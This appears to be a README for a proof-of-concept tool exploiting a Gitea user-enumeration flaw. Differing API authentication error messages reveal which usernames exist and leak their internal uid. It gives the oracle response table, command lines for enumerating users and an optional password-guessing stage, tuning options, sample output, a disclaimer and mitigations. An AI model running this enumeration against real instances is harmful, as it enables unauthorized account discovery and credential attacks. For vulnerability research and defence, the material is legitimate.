
CVE-2025-69413 — Gitea API user enumeration PoC via auth error differentiation
Gitea user enumeration via differential API authentication responses.
⚠️ Disclaimer This project is published for educational and research purposes only. Use it solely against systems you are explicitly authorized to test (your own lab, a bug-bounty program, or with written permission from the owner). The authors accept no liability for any misuse, damage, or violation of law resulting from use of this code.
Gitea's apiAuth middleware (routers/api/v1/api.go) handled Basic-authentication
failures by passing a detailed error message straight into the HTTP response.
Because the payload differs between the user-does-not-exist case and the
wrong-password case, an unauthenticated attacker can turn any /api/v1/*
endpoint that performs Basic auth into a username-existence oracle — and even
recover the internal uid of existing accounts.
The fix replaces the verbose responses with a generic static message
("invalid username or password") in both apiAuth and webAuth.
| Response body (JSON) | Meaning |
|---|---|
{"message":"user does not exist [uid: 0, name: <u>, keyid: 0]", ...} | username is not registered |
{"message":"user's password is invalid [uid: N, name: <u>]", ...} | username exists, leaked uid: N, password guess was wrong |
{"message":"Email address does not exist [email: <e>]", ...} | separate oracle branch for e-mail style principals |
An additional wrinkle worth documenting: the e-mail path produces its own distinctive message, giving a third classifiable answer.
GET /api/v1/user with
<candidate>:<dummy-password> and classifies the JSON response.pip install -r requirements.txt # requests
Python 3.9+.
Enumerate the built-in default list:
python3 exploit.py https://gitea.example.com
Enumerate a custom user list:
python3 exploit.py https://gitea.example.com -U users.txt
Probe one specific account:
python3 exploit.py https://gitea.example.com -u admin
Add a password-confirmation stage:
python3 exploit.py https://gitea.example.com -U users.txt -P passwords.txt
Full options:
positional:
host base URL, e.g. https://gitea.example.com
optional:
-U, --users-file usernames file (one per line)
-P, --passwords-file candidate passwords file (stage 2)
-u, --single-user probe a single username
--api-path endpoint (default /api/v1/user)
-t, --threads parallel workers, default 4
--delay per-thread delay between requests, seconds
--proxy optional http(s) proxy
--verify-tls verify TLS certs (off by default for lab setups)
Be considerate: keep threads low (-t 4) and add delay when testing production
systems you have permission to assess.
[*] Target: https://gitea.example.com/api/v1/user
[*] Probing 6 username(s)...
[ ] admin NOT_FOUND uid= http=401
[+] devops-admin EXISTS uid=1 http=401
[~] [email protected] EMAIL_UNKNOWN http=401
/api/v1/* at the reverse-proxy level and/or enforce
rate limiting + fail2ban on repeated 401s.If you discover this behavior on a third-party instance, report it to their security contact rather than exploiting it beyond verification. Enumeration of real accounts may violate terms of service and local law where performed without authorization.
MIT